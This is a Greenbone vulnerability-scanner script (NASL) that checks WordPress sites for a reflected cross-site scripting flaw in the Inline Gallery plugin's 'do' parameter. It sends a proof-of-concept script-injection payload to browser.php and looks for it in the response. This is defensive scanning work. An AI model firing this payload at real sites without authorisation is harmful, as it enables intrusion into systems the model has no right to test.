WordPress Inline Gallery 'do' Parameter Cross-site Scripting Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
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# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801780");
  script_version("2023-10-27T05:05:28+0000");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2011-05-11 15:50:14 +0200 (Wed, 11 May 2011)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("WordPress Inline Gallery 'do' Parameter Cross-site Scripting Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2011/Mar/81");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/46781");
  script_xref(name:"URL", value:"http://www.htbridge.ch/advisory/xss_in_inline_gallery_wordpress_plugin.html");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to execute arbitrary
  web script or HTML in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"WordPress Inline Gallery Plugin version 0.3.9");

  script_tag(name:"insight", value:"The flaw is caused by an input validation error in the 'do'
  parameter in '/wp-content/plugins/inline-gallery/browser/browser.php' when
  processing user-supplied data, which could be exploited by attackers to cause
  arbitrary scripting code to be executed by the user's browser in the security
  context of an affected site.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective
  features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"The WordPress plugin 'Inline Gallery' is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/wp-content/plugins/inline-gallery/browser/browser.php?do=<script>alert(document.cookie);</script>";

if(http_vuln_check(port:port, url:url, pattern:"<script>alert\(document\.cookie\);</script>", check_header:TRUE)){
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);